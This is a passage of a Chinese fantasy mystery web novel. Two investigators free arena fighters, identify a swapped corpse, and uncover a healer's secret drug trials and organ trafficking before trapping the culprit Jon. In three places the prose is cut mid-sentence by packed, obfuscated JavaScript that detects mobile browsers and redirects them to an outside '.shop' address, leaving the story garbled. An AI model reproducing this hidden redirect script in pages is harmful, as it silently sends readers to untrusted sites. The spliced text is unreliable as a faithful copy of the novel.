“我希望三位能当我的玩伴,不过我这人向来不喜欢勉强,所以你们也可以拒绝,但我会很遗憾的。” 她像是很善解人意,但他们哪有拒绝的权利,不答应就等着下一场继续和魔兽厮杀。 三人对视一眼后,立刻做了选择。他们很清楚哪怕这位女士看上去并不像一位好心人,想要活命他们也只能先答应。斗兽场最近为了赚钱,搞出了很多不合理的加时赛,为了吸引客人,还找了中高阶以上的魔兽。他们又没法解约,再在这里待下去,万一又像今晚一样抽到厉害的魔兽呢?” 但成为这位女士的玩伴并不是什么好出路,三个可怜的年轻人在缄默区摸爬滚打多年,自然清楚玩伴的含义,也了解部分贵族有着极为残忍的怪癖。 留在这位女士身边不知道会不会面临难以忍受的折磨,而且她身边这位灰发男子看上去简直是个醋精,在刚才那群人围过来时,他宣示主权的攻击性异常明显,哪怕他们三个真夹着尾巴服侍这位女士,这位灰发男子也不会给他们好果子吃。 最好的选择就是偷偷跑掉,但竞技场给他们的脖子上带了特殊的镣铐,只要那位女士按一下手中的按钮,他们就会生不如死。 这可怎么办? 就在三人提心吊胆之际,他们前面的女士停下了脚步,环顾了四周。 “没人了,就这里吧。” 她朝身边的男子使了个眼色。 那人拔出长剑朝他们走来。 “难道她要在这里杀了他们?救他们一命只是为了找刺激吗?” 三人不禁打了个寒战,比尔还算冷静,迅速摸出了匕首,手刚痊愈,还有些发抖,他也清楚这没什么用,毕竟镣铐的控制器仍在对方手里。 就在这时那女士又开口了:“别害怕,我们不是要伤害你们,是要把镣铐毁掉。” 她一边说着一边从口袋里拿出那枚镶嵌着蓝紫色晶石的控制器,将它丢给了三人。 他们正在愣神的时候,阿纳托利的剑锋已经飞快地掠过,一眨眼的功夫脖子上的镣铐已经落在了地上发出啪嗒一声,几乎就在同一刻拿把闪着银光的剑已经入鞘,甚至没有什么声音。 他们有些不可置信地看着眼前的莱安娜和阿纳托利。 三人都清楚,这个世界上没有平白无故的好意,那么对方救他们的目的是什么呢? 阿纳托利朝他们走进一步。 “我们想知道近期斗兽场的伤亡情况,希望三位能尽量回忆一下。” 他语气十分温和,简直和之前在人群里气到扭曲的模样判若两人。但现在揣测自己的新雇主们并不是合适的时候。 席恩有些遗憾地抓了下脑袋:“每天都会有人死去的,我们不知道您想问的人是谁?有更具体的信息吗?” “他是被中型或者大型体型的魔兽杀死的,那种魔兽咬合力很强,会以撕咬作为攻击方式、无毒。有印象吗?” “太宽泛了先生……”林恩小声地说道。 阿纳托利似乎有些为难,而身后的莱安娜作出了判断:“阿纳托利,给他们看影像吧,我们没有时间了。” 若是暴露行踪,总归是怕不必要的麻烦。但他们只有一个晚上的时间找到查理真正的死亡地点,以及确定乔恩造假的证据。 阿纳托利闻言,拿出了留影石,给三位看了尸体的影像。 “在一周前的夜晚,你们斗兽场有没有这样身形的同事死亡?”阿纳托利问,随后他补充道:“大概和我差不多高的身量,伤口在腿部和右手,左腿被撕裂了,面部和胸口部分皮肤血肉模糊,无法辨别身份,你们对这具尸体有没有……” 他还没有解释完,林恩就低声说出了一个名字。 “卡尔!这人是卡尔。” 另外二人对视一眼似乎是在确认,随后都看向阿纳托利点了一下头。 “你们只看了一眼,确定不会认错?” 莱安娜冰冷的质疑声响了起来。 席恩回忆了一下,随即抬起头:“卡尔是我们这里最强的战士,来这里快半年了,他身形很高,力气很大,用剑很有章法……他腰上受过伤,我给他上过药,我不会认错的,您看……” 他指了指尸体腰部的疤痕,虽然已经愈合,但狰狞的形状简直像是盘踞在此的一条蜈蚣。 “他是一周前什么时候死亡的?”阿纳托利问道。 比尔叹了口气:“那天晚上最早的一场比赛,大概是十一点。”他青色的眼里满是悲伤,阿纳托利注意到他的手已经攥成了拳头。 “他拼尽全力才赢了那场比赛,都快筋疲力尽了,但刚杀死那只魔兽,因为场外的情绪高昂,有人要求他打第二场,人群也跟着起哄加价,老板便又放一只新的魔兽进去。”他的声音因为愤怒而有些发抖,“他是王牌战士,他其实可以拒绝的……但水蛭却拿着他妹妹的画像在台子上晃了一下,他竟然同意了!他太……” 他深吸了口气,什么都说不出口了。 阿纳托利:“水蛭是?” 比尔撇了撇嘴:“斗兽场的老板,我们私下都这么骂。” “他妹妹被那死水蛭绑架了?”莱安娜问道。 席恩小声地给她解释:“他的妹妹四个月前失踪了,一个十八岁的姑娘怎么可能走丢?卡尔发了疯地找她,最后束手无策了才找到斗兽场的老板,希望黑市的组织能帮他找到妹妹,如果他妹妹被其他地方的组织强迫签了什么协议,做了什么工作,他也愿意按照“规矩”帮她妹妹支付解约的费用。我们老板答应了他的请求,但代价是他必须从此之后给斗兽场工作。” 林恩听到此处插了一句嘴:“对了,卡尔一直很出名,他有中阶的魔力水平,斗兽场很早就想招募他,还开出了高薪,但他都拒绝了,我听说,只是听说啊!他自学通过了基础知识的考核,好像之后还准备参加圣都的骑士考核,而且还通过了那种有弯弯绕绕理论的笔试呢!他很厉害的,还教过我识字……” 他说着说着声音越来越小。 “听上去这位叫卡尔的人生前像是个与人为善还挺有责任心的人。”莱安娜想道,叹了口气。 “可以确定查理的尸体和卡尔的尸体被交换了,目的是用魔兽的攻击来掩盖死亡原因,但要找到合适的尸体可并不容易,时间又正巧,会不会卡尔的死亡也是谋杀?” 莱安娜继续思索着,阿纳托利仿佛心有灵犀一般,帮她问出了这个十分重要的的问题: “卡尔有仇家吗?” 三人面面相觑。 “我们不清楚,但应该没有吧,我们和他原本素不相识,但他第一次见我们就很亲切,他给我们纠正剑术、休息时候还教我们读写、给我们带鸡蛋……我们没有出过缄默区,没有见过骑士,但我觉得骑士应该就是他那个样子的,如果谁会讨厌一个热心人那就太奇怪了。”林恩坚定地摇了摇头。 阿纳托利皱起眉来,他再一次启动留影石。 乔恩的影像清晰的出现在三人面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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席恩看着她,鼓足了极大勇气开口问道:“那个……我们可以做其他工作,可以做杂活,也可以战斗,您们救了我们,我们按理应该做些什么才对。”他的语气有些唯唯诺诺,但莱安娜很清楚,这孩子反而是眼前三个中最勇敢最有野心的。 为什么不走那条自由之路而选择为他们工作,魔法石赎身能说明一定的财力和实力,放他们自由说明有一定道德,为这样的人卖命应该比自己一个人在缄默区单打独斗容易出名堂。 莱安娜笑着指了指阿纳托利。 “其实他暂时是我的雇主,你问他吧。” 阿纳托利有些无语,莱安娜居然要他来当这个坏人,难道自己不喜欢笑就适合扮演不近人情的角色? “我们不会雇佣你们,你们在缄默区斗兽场多年,面孔被很多人熟悉,出现在我们身边会暴露我们今晚的行踪。” 席恩知道这是不容商量的意思,不由得有些心灰意冷。 “但每年秋天圣都的巡防队还有其他领地的武装都会有统一选拔考核。你们有低阶魔法不如去试试,至于笔试,这个给你们。”他递了一个带有百合的徽章给林恩。 “图书馆的书不是免费的,但拿着这个徽章你们可以参加圣都外围哑谜酒馆二楼的读书会,那里有很多免费的图书,甚至有热心人帮忙,你们只能抓紧时间学习了。” 他说完便和莱安娜转身准备离开。 走了一段距离,听见了另一个声音。 “下次见面我会还您那颗魔晶的!”比尔的语气异常笃定。 莱安娜有些意外。 “但我对魔晶不感兴趣。”她笑了笑。 “那您想要什么?” “努力活着吧,没什么比命更珍贵的东西了。” 58. 救人的医生 和三个年轻人告别后,莱安娜有些苦恼地看向阿纳托利。 “距离日出还有四个钟头左右,但目前线索已经断了,这三个人只能证明尸体被调换过,但查理的尸体在哪我们仍一无所知。” 阿纳托利沉默了一会儿,拿出了留影石:“或许我们应该再研究下乔恩补充的资料,我看里面有新的个人信息以及查理来缄默区之前的行程。” 他看着影像上的记录:查理,通过中阶治疗魔法等级考核;优秀学生;文章被《魔药研究》多次收录,道德标兵、参加前线志愿治疗二十次多次,参加慈善救济活动三十五次……” 阿纳托利忍不住皱起眉来,这和乔恩之前努力证明的查理形象太割裂了。 莱安娜忍不住在一旁评价:“这样的信息竟然没有在第一时间移交给你我。这可真是模范生啊,这样看起来查理简直像是被构陷的一样。” 阿纳托利点了点头,随即目光落到了行程记录的资料上。 当天在学校修完治疗系的早课后,去了实验室,一小时后来到一家歌剧院,在歌剧院带了半小时后出发来到了缄默区…… “他在歌剧院待了半小时?” 阿纳托利皱起眉来,莱安娜也意识到了问题所在。 “没有表演的时间会这么短,他去歌剧院不是看表演的。”她摇了摇头,随即注意到了查理的主修方向。 “剧院那边需要单独调查,而且我们之前忽略了一点,查理是治疗系的魔法师,我可能要收回他看上去像好人的话了。” 她认真地指着影像上查理的主修方向。 阿纳托利有些不解:“治疗系魔法有什么问题吗?” “治疗系魔法师因为研究和工作需要,更容易获取各种药物,虽然有审核制度,但难免疏漏,这些年东区查出的违禁药品中有很大一部分正是治疗系魔法师的手笔。有些驻地治疗系神官借着救死扶伤的旗号还会私下倒卖药品。” 莱安娜耐心地解释着。 阿纳托利突然联想到了两个重要的人,开口问道:“我没记错的话,帝国目前的医疗事宜是由阿萨特主教和贝拉主教在负责?” 莱安娜:“没错,阿萨特主教分管研究、药物配给的事项更多,贝拉主教主要负责实际治疗的工作。” 阿纳托利若有所思,随后问道:“如此规模的药品滥用和违禁药品交易难道都是下面的人瞒天过海?两位负责人真的一无所知吗?” “这也是我一直以来怀疑的问题。借着治疗负责人的职权可以做药物交易在内的很多事情,我甚至怀疑他们二人也参与了魔法师制造计划的药物试验。但可惜,阿萨特老谋深算,贝拉做事干净缜密,至少目前我没抓到过把柄。” 她无奈一笑,随即思考起查理是否有可能和违禁药交易有关。而阿纳托利的思绪则飘得有些远了。 魔法师制造计划,看似要让每个人都享受魔法的便利,但手段却血腥而卑劣,名义上伟大的结果却要无数普通人作为代价和燃料。 “文森特、伊莉雅、教皇、阿萨特主教、贝拉主教……到底还有多少贵族和魔法师参与其中?” 这个计划在权力盘桓和利益交织的基础上野蛮生长,在无声无息间吸食人民的血肉,已经长成了难以撼动的庞然大物。他们要怎么停下它?似乎除了让莱安娜成为教皇外别无他法。但如果他们失败了呢? “杀了那个实验体吧。” 莱安娜冰冷的声音仿佛又一次在他耳边响起, 心脏被扭住一般,呼吸都顿了一下,随后脊背发冷。 他一时失神,直到莱安娜的声音将他从飘远的思绪中拉了回来。 “你是太累了吗?” 她有些不可置信地盯着他,毕竟她这个还没康复的病人都还在强打精神熬夜,阿纳托利这个健康的人走神就有些说不过去了。 “抱歉,我刚才联想到了其他事。” 莱安娜神色略有些不满,顿了一下后复述了她的想法: “我们时间有限,必须分头行动,我回主城区帮你调查歌剧院和查理的详细信息,你立刻在缄默区调查卡尔的信息,他和乔恩的关系。这两人一定有交集。” “我们说好了一起行动的。”阿纳托利语气竟然有些委屈。 “缄默区我有遵守承诺和你一起行动,在主城区不会有事,那么多双眼睛盯着,谁对人质出手可就是南北和平的罪人,所以放心吧。” 她语气很轻,宽慰地朝他笑着,随即继续说: “阿纳托利,相信我吧,哪怕我受了伤也绝非没有反抗能力……我们真的没有时间了。” 莱安娜还在想说服的说辞,毕竟涉及安全问题,眼前这家伙总是固执得要命,没想到对方却立刻回应了她: “好。” 莱安娜惊讶地抬起头,随即握住了他的手: “我立刻骑马去,尽量日出时回来。” “千万小心。” “你也是。” 她说着利落地收回了手,转身向旅馆走去。 阿纳托利看着她消失在街口的身影,只觉得心里沉甸甸的。 自己说着保护别人,却一直接受着对方的帮助,明明莱安娜应该休养,现在仍然和他一起在推进计划。 要是他能一个人把所有事情都解决就好了,那样莱安娜就能停下来暂时喘口气了。但莱安娜的协助又是如此必不可少,如果今晚没有她,自己在斗兽场绝对不会如此顺利,回核心区的二次调查也必然分身乏术。 “我做得不够好、我不够强、我竟然还是在原地打转……” 八年前他只能从圣都逃走,无法为莱安娜的神官试炼提供任何帮助。 四年前,他在白桦河的袭击中艰难求生,错过了艾夫忒宁的家变,没有在莱安娜最需要的时候支持她。 阿纳托利没法想象亲人们长眠于魔兽潮对莱安娜的打击,她一向视家人为珍宝。 在这之后她是怎样面对文森特的意外离世的?没有血缘的养女如何在家变中站稳脚跟成为家主?在亲人相继离去后,她还手刃了自己叛变的老师,成为东区新的主教…… 自己似乎一直都慢她一步,追随着她的身影,但却总是没能在关键的时候拉住她的手。 而现在,受伤的莱安娜仍然在为他们的计划奔走。 一种自责和愧疚在他心里打转,他压住心里的对自己的不满,朝缄默区的深处走去。 莱安娜为他做了这么多,自己更要打起精神,虽然完成一切让莱安娜休息不太现实,但他会尽可能减少莱安娜的负担。 他知道,自己需要做得更好。 ······ 天亮的时候,阿纳托利这边的调查还算顺利,他在灰烬乐园打听到了卡尔的信息和住址,他顺着住址找过去,原本想问问卡尔的家人,但他已经没有在世的亲人了,还好他的邻居还在。 经过多方打听映证,卡尔的父亲是搬运工、母亲在他妹妹出生后病倒了,一直卧病在床。按理他们的生活已经足够辛苦,没有余力帮助别人了,但卡尔的父亲在做工途中捡到一个走丢的孩子,应该是从人贩子手里跑掉的。他们竟收养了他,那孩子记得自己的名字叫乔恩,卡尔和他亲如兄弟。乔恩的父母没有放弃过寻找他,最终在乔恩十岁的时候找了过来,把他带了回去。这以后,乔恩还是会时不时回来探望卡尔一家。 后来缄默区的帮派火拼正好发生在卡尔父亲工作地附近,卡尔父亲不幸地被误杀了。十五岁的卡尔承担起了家庭的重担开始工作,他们是不幸的,但命运仍眷顾他们,卡尔和他的妹妹竟然都有魔力,只要能够在未来成为普通的魔法师,日子也会好起来。但变故徒生,其妹妹意外失踪,母亲承受不了打击离世,他为了寻找妹妹走进斗兽场······ 根据周遭的人所说,卡尔和乔恩是亲如兄弟的挚友,那为什么乔恩会在斗兽场和卡尔争吵,会用卡尔的尸体来混淆案件的视听? 他走在灰烬乐园的街道上沉思着,也许过于投入,让他忽略了街道的岔路,他竟然走到了一个死胡同里。 角落里有个裹着宽大斗篷的老人,两条白色的麻花辫从兜帽中垂下。 她面前摆着一张桌子,杂乱地堆砌着水晶球、塔罗牌、各种宝石和说不上名字的东西。 阿纳托利转身正准备离开,那人却叫住了他,声音沙哑却并没有他想象得苍老,甚至算得上中气十足。 “年轻人,日子很难过,你是否愿意给我一些帮助?我会帮你占卜命运。” 阿纳托利回头看了她一眼,皱纹让她的皮肤像树皮一样厚重,她鼻子尖尖的,下巴瘦削,面容枯黄。 他走了过去,蹲下身,在那低矮的桌子里轻轻放了一枚银币。 “慷慨的孩子。”那老人朝他致谢。 “愿您顺利。” 阿纳托利说着正要起身离开,那老人竟然同时起身,用如枯木一般的手抓住了他的手臂。 “孩子,按照约定,我要帮你占卜命运。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还好调查已经结束,这有些荒诞的意外并没有影响阿纳托利任务的进度,他很快赶回了旅馆,天亮后不久,他就听见了楼下的脚步声,莱安娜回来了。 她推开门时面色凝重,阿纳托利的心悬了起来。 “没有线索?” “不,有很大进展,但是这个案件或许真的和禁药交易有关······” 莱安娜查了查理的出行记录,他不是偶然出入缄默区,而是几乎每个周都会来一次。据深夜还在外鬼混的同学所言,查理确实常去缄默区的旧神殿,他会免费为困苦的人诊疗。 他从药品库中申请的也确实是治疗药物,甚至还是救济会的组员,服务时长也绝非造假。 看上去真的是一位善良的志愿医生。 但他每次在去缄默区之前都会去一个奇怪的地方——迎春花歌剧院。 “据我所知,那所剧院应该和阿萨特主教有些联系。”莱安娜语气十分沉重。 而且停留的时间短得不合乎常理,他不是去看剧的,也有传闻说剧院的某位演员是他的恋人,但从未有人见到过他俩共同出现在剧团之外的场合,两人只在剧院碰面,而且只会在会客室待不到半个小时,比起恋人见面莱安娜觉得这更像是对接工作。 但以上都只是怀疑,当莱安娜看到看到他研究方向的时候才确定了他一定和药物试验有关。他有不少研究是和药品副作用、精神控制类药物有关的,他做了诸多分析,依据却只是动物实验和药理。 只用理论分析和普通动物实验怎么可能得到一个如此完美的数据,而且那数据和她曾在文森特药物实验报告上的数字十分接近。莱安娜看到数据那一刻就确定了,他数据来源于真正的人,那他来到缄默区提供治疗的真正目的就让人感到不寒而栗了。 最后,莱安娜去医疗部找了查理的治疗记录。她在记录名单中查询到了一个关键的名字“克拉丽斯”,正是卡尔的妹妹。 她和阿纳托利将信息核对后得出了一个推测: 查理以义诊的名义来到缄默区获取居民的信任,并暗中骗他们服用尚未开发完成的药物,以获取药物相关的关键数据,卡尔的妹妹也是他实验的一员。如果克拉丽斯的失踪和查理有关,和卡尔一家感情深厚的乔恩确实有报复查理的动机,他也有伪造现场、利用魔兽袭击转移案件调查重点的能力。 但有一点说不通?卡尔的目的如果是药物实验,没有必要绑架克拉丽斯,继续沿用义诊的模式就行。 要报复的话,为什么出手的不是卡尔? 卡尔的死亡到底是不是意外? 哪怕真是查理绑架了克拉丽斯,乔恩为了给自己好友一家报仇而动手,为什么用朋友的尸体作为混淆视听的工具? 这样的话动机都是矛盾的。 而且最关键的一个问题——卡尔的尸体到底在哪里,仍然没有线索。 在思考良久后,他们决定赌一把,让乔恩帮他们找到尸体所在地。 59. 查理之死 乔恩醒来的时候,立刻掏出自己携带的怀表,发现已经是第二天的早上的十点了。 他瞥了眼在另一张床上呼呼大睡的马克西姆,急忙起身准备出门。慌乱中他没能听清不隔音的墙壁发出的“咚”的声音。装睡的马克西姆给隔壁的二人发信号。 乔恩已经起身,但隔壁传来了阿纳托利的声音,他停下了脚步。 “查理不是死于魔兽这一点可以确定……” 乔恩呼吸一滞,像是被一道电流击中。 他心里发虚,两只手下意识攥到了一起。 “我们得立刻上报,此事和魔兽无关,防御司就没有干涉的必要了。”莱安娜的声音幽幽地响起。 “嗯,你我之后立刻回核心区,给安全部长说明此事,由他们进行后续的调查,移交我们查到的关于卡尔和克拉丽斯的全部证据……” 卡尔?克拉丽斯?他们都知道了? 乔恩努力地平复着自己翻覆的心绪,他整个人如坠冰窟。但这时阿纳托利下一句话却让他有了一丝希望。 “但我们没时间去寻找真正的尸体了,只推测出了真正尸体所在的位置,只要安全部门去找到,这件事就能水落石出。” “那不是我们应该操心的问题,只要证明本案的死者并非死于魔兽,管辖权就应该移交到安全部门了,至于后续的事,就让安全部门自己的人去想破脑袋吧,你把位置分享给他们已经是仁至义尽了。” 两人对话之间已经把案件的关窍都点了出来,显然在乔恩昨晚昏睡时他们把案件调查了个底朝天。 不过万幸的是,他们发现和魔兽潮无关,决定移交管辖权,没有进一步调查,最关键的物证——尸体还并没有被找到。他还有机会! 乔恩蛰伏在自己的房间里,莱安娜和阿纳托利还在商量: “那我们现在立刻动身先返回圣城汇报,再赶到此处着手地脉能源供应的问题。”莱安娜提议道。 “但隔壁那个调查员怎么办?” “他有嫌疑,但这是安全部内部的事,本案已经和我们的任务没关系了,在案件有明确定论前我们最好不要处理他。而且马克西姆的安神药应该能让他睡到今天下午,不用担心……” 乔恩这才明白自己昏睡的真正原因,他祈祷着自己身边这个家伙继续呼呼大睡,而莱安娜和阿纳托利能尽快离开。 直到他从窗户瞧见疾驰离开的马车时,他才快速地冲出旅馆,骑马朝着圣都一处荒地赶去。 “卡尔!克拉丽斯!帮帮我吧!让那家伙的尸体永远烂在那片泥泞里!他不配得到安息!” 他咬牙切齿,恨意在他眼里翻滚,几乎接近沸腾。 他走过数不清的岔路,才抵达一处荒地。与其说这是荒地不如说这是个大型垃圾场。 仿佛是神明恶趣味的玩笑,一块平原上竟有一从低矮的山峦,将这里围了起来,像是在无暇净土上的一颗毒疮,又像是一个囚牢,把一切污秽都与圣都的安宁祥和隔绝开来。 尚未靠近这个毒疮便能闻到腐臭的气息,无数的垃圾残骸都被丢弃在这里,地面上有一层厚厚的污泥和浊油。这个地方有另一个名字——静默谷。 尸体扔到这里很难被察觉,因为缄默区每天都有无数的人在死去。而这些可怜人的尸体,还有缄默区的各种垃圾都会运到这个无人问津的地方, 乔恩东张西望,他在一堆废墟中寻找自己做的记号,直到看见了那破败不堪的牛骨架,他走到骨架的旁边,一个堆放着各种畜类残骸的坑前。 他正准备将尸体挖出,转移到别的地方去,但整个人忽然僵住。 阿纳托利正用剑柄抵着他。自己身后无声无息地出现了两个人。 他瞬间反应过来了对方的圈套。 “竟然都是一场戏。”乔恩摇了摇头,苦笑道。 “你们根本没有查到实证,只是推测,那场讨论就为了让我自乱阵脚,好带你们来这个地方!” 想到克拉丽斯和卡尔,功亏一篑的怒火几乎快要裹挟了乔恩的理智,他扭身想要反抗。但阿纳托利的剑柄调换方向,一眨眼便抵到了他的脖颈上,阵阵凉意还有魔力的压迫提醒着他,他连反抗的机会都没有。 “就差一点了,明明只差一点了,你为什么要在这个时候回来呢?司长。” 他扭头苦笑着看向阿纳托利,正午的阳光打在这片污秽的土地上,不留一点阴影。但乔恩知道,自己的前路此刻是真正的一片黑暗了。 “随便吧,谁知道连命运都站在那个畜生那边呢?” 他一边说着,一边高昂着头冷笑了几声。 但脖子上的冰冷消失了。 乔恩扭头看去阿纳托利,对方已经把剑收了回去,他有些不明白阿纳托利的用意了。 “还有几个问题需要问你,你如实回答,我们会为你争取宽大处理。” 乔恩没有回答,心如死灰地看着对方,其实宽不宽大处理的已经无所谓了。 “你是怎么杀死查理的?” 乔恩眼神有些怪异,他的眉毛松了下去,眼睛眯了起来。 “对,是我,我恨他!他就是个畜生!我在他平时‘义诊’的旧神殿用一把匕首杀了他!” “详细说明你杀人的动机,据我所知查理做的事情罪不至死。” 阿纳托利刻意让自己的语气听上去十分淡漠。 怨毒和愤怒像是火一样,立刻从乔恩眼里喷出。 “什么叫罪不至死?你们不是已经查到克拉丽斯和卡尔了吗?你们还觉得查理那畜生罪不至死!你们这些贵族果然沆瀣一气!查理以行医为名,暗中为圣都的权贵摘取器官、贩卖药物这些难道不该死吗!” 他的怒吼响彻整个静默谷,连一旁啄食尸体的鸟儿都被吓得飞了起来。 阿纳托利和莱安娜对视一眼,他们只查到了药物试验,但时间有限,他们还没有查到更深的这一层——器官交易。 难怪查理家族要求的一直是恢复查理的名誉,而非查明查理的死因。 难怪莱安娜在搜集查理信息的时候通行无阻。 他们提供了诸多查理品行端正的证据、还有参与义诊的记录,如果仅是表面调查,大概结果就是只变更查理出现在贫民区的理由,将死亡归因于魔兽。 可惜莱安娜对于药物试验过于敏感、恰好乔恩伪造的魔兽现场存在破绽,这才发现了这场戏剧背后的端倪。 查理作为脏手套已经被家族抛弃,贵族们也愿意把这场谋杀变成意外,这样就无人追究谋杀背后的动机,最肮脏的交易会随着查理的死亡隐藏在水面之下。 他们不仅要查理的死亡是意外,还要维护贵族的脸面,这才要求阿纳托利为查理前往缄默区找一个合适的理由。 在沉默许久后,阿纳托利开口了: “感谢你告诉我们这些,我们查到了查理在进行药物实验,但对于器官交易等行为并没有找到线索,我们……” 乔恩听了这话,没等他说完便冷笑起来:“我还真是被两位诈得彻底啊!你们接下来要做什么?帮那些家伙隐瞒罪证还是让查理这个败类以仁医的名义下葬?” “不,我们不会那样做。”莱安娜打断了他,乔恩看向她,这才发现她刚才并没有记录。 “乔恩先生,您之所以隐藏查理义诊的资料,伪造他来缄默区的动机是为了报复吧。” 眼前这位女士虽然没有带武器,但乔恩明显感觉她的压迫感比离自己更近的阿纳托利还要强。 乔恩沉默着,眼珠戒备地盯着前方,他不确定眼前这两个人打的到底是什么主意。 见他没有答复,莱安娜继续开口: “您很聪明,您知道公布查理的罪行会牵涉多少贵族,不仅没法公开真相、甚至连您这个调查员说不定都会被牵连进去。所以您将他的死亡推给了魔兽,各方对于查理的死亡都很满意,随后您再给他安了个污名,交换了查理和挚友卡尔的尸体,让查理背负着骂名烂在这团污泥中。您希望他不得安息、被贵族们取笑,我猜这就是您的计划吧?” “是啊,真是便宜他了,这是一种泄愤,但太微不足道了。”他自嘲般地摇了摇头,继续说: “我能做的只有让他的尸体留在这个地方,只能让他在那些好名声的贵族里成为一时的笑话,我甚至认为这还不够!” 他抬头,眼神变得极其锋利,不知道是更恨查理的罪恶还是更埋怨自己的无力。 “我无法让他付出应有的代价!我无法让他、让那些肆意抽取民众器官、血肉的贵族下地狱!我无法让卡尔和克拉丽斯复活!我甚至无法公开他真正的罪行,只能给他套一个‘吃喝嫖赌’的标签!我没法让他求生不得求死不能!只能把他暴尸荒野,我甚至不能祈祷他因为尸体没有好好安葬而死后不得安宁······” 他突然停了下来,那双眼睛变得通红,有些颤抖的双手捂住了脸: “因为缄默区的很多人都是像他这样死掉的啊!没有葬礼!没有棺材!没有神官为他们祷告!没人在意他们!查理这个畜生不过是经历了和贫民一样的死亡方式,如果这在贵族眼里算是凄惨?缄默区这么多年无数人都是这么过的,他们为什么从不在意?我只是让查理和贫民区的人有了一样的经历罢了!” 他的情绪越发激动,哪怕捂着脸,莱安娜听到了哽咽的声音。 “我尽力报复了,让那个猪狗不如的东西被万人嘲笑指摘,死在这烂泥一样地方,总比让他顶着救死扶伤的美名享受盛大的葬礼要好。可惜了,本来很顺利的,可惜你们来了。” 他放下了手掌,擦了一把脸,眼里恢复了如死灰一般的平静。 他已经无所谓了,自己的计划已经败露,无论阿纳托利是准备自己处理还是移交给安全部,事情已经没有回转的余地,他知道自己的复仇已经走到了尽头······ “你这算什么复仇?” 莱安娜的声音幽幽地响起。冰冷的、严厉的、但却没有讽刺的意味,更像是一个指导者对作品的挑剔和不满。 乔恩抬起头,困惑地盯着她。 她继续说道:“乔恩先生犯了一个错误,人死后便是烟消云散,查理死后埋在哪里都不会感到痛苦,复仇就是应该毁掉对方最在意的东西,您以为那些贵族会把‘吃喝嫖赌’当作污名吗?那不过是他们真实生活的写照罢了,哪怕翻上台面也不痛不痒,您做的一切根本算不上报复。” 莱安娜摇了摇头。 “您若是想报复他,就该看他想要什么。他想要赚得盆满钵满,为家族牟利,你就该让他们倾家荡产。他们想要维护那些罪恶的产业,你就去把他们用心经营的一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069342|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都毁掉。他们想要把一切都隐藏起来,你就该让他们所作所为暴露在阳光下,让他们的罪恶永远被铭记。” 她的语气没什么波动,没有鼓动的情绪,像是在讲述事实一般理性。但每个字比演讲还要让乔恩感到心神震颤。 “告诉我,乔恩,你是否想要揭示查理的所作所为,让那些产业暴露在公众的视野下,让查理的家族迎来真正的灭顶之灾?” 眼前这位女士的眼神似乎仍很平静,但乔恩却有种身处漩涡之上的恐惧,明明对方是带着笑容的温和面庞,他却背后下意识地在发冷,仿佛是在和一位魔鬼做交易。 “我想,但是做不到吧。我做不到,你们应该也不行。” “很务实的想法,但不试试怎么知道呢?还是说我高估了卡尔和克拉丽斯在你心中的地位?和我们合作,告诉我们你知道的详细信息,我帮你复仇。” 莱安娜笑了起来,如果说之前关于复仇的话只是不带感情的陈述,现在的完全就像是在诱导对方。 乔恩没有说话,莱安娜知道对方怀疑自己和阿纳托利的立场,他担心一旦泄漏自己掌握的非法交易实验信息,若莱安娜两人实际是贵族一方的,那么会立刻和那些始作俑者通风报信,清理痕迹,那些罪恶将会真正的了无踪迹。 “很谨慎的人,这样的考虑不无道理,但我们没有时间让他慢慢放下心防了。” 莱安娜打定主意,准备采用威胁的手段,她还未开口乔恩却先做了决定: “关于他们的产业,我有调查过,还有相当多的纸质材料和证据。我把他们藏在了一个安全的地方,本来准备死前想办法公开或者带进坟墓的,我可以给你们。” 莱安娜和阿纳托利对视了一眼,这算是个非常好的消息。 “但我不信任二位,谁也无法保证二位是否是假意套话,之后又向贵族们倒戈,你们要如何证明自己的立场?而且你们为什么会帮助我?” 莱安娜皱了下眉毛:“您没有选择,乔恩先生,您已经······”她话音未落,阿纳托利拉了下她的手,随即开口: “您想我们怎么证明?” “查理被魔兽咬死只是你们任务的其中一个案子,还需要查明能源供应区的魔兽问题,那地方其实也有隐情,我会看你们对能源区处理的态度,再决定是否给二位证据。如果二位不愿意,直接将我送进大牢也行。”他满不在乎地摊了摊手。 莱安娜笑了起来,还真是头一次遇见走投无路的人反向威胁对方的。这很好,乔恩不仅对那些贵族心怀愤怒,还有理智的头脑和敢于冒险一博的勇气。 和这样的人目标一致并不是坏事,虽说获取信任会耗费一些精力,但事成之后的合作关系会更加稳固,这样的聪明人也能发挥更大的作用。 “可以,乔恩先生,您不会失望的。”她笑着点了点头。 阿纳托利:“我们希望在之后的调查中,除了非法器官交易的产业证据外的其他信息您能和我们共享。” “这没问题。”他回答道,但仍怀疑地盯着两人。 “你们准备怎么处理查理的尸体?” 莱安娜笑着看向面前的垃圾坑,摇了摇头。 “查理的尸体已经由其家人安葬,这是众所周知的事,自然也用不着我们处理。”她意味深长地看着乔恩。“不知道这样的回答能否彰显我们的诚意。” 而一旁的阿纳托利拍了拍他的肩膀:“我们三人要准备动身去下一个地方了,走吧,乔恩先生。” “三人?那位医生呢?” “实不相瞒,因为配药出现了些问题,安神药让他有了一些过敏症,我们准备让他回去休息。” ······ 直到三人离开旅店,前往能源供应区,躲藏已久的马克西姆才从旅店的另一个房间里钻出来,朝静默谷赶去。 莱安娜和阿纳托利告知他,在他们离开后立刻前往标记的地点核验查理的尸体。 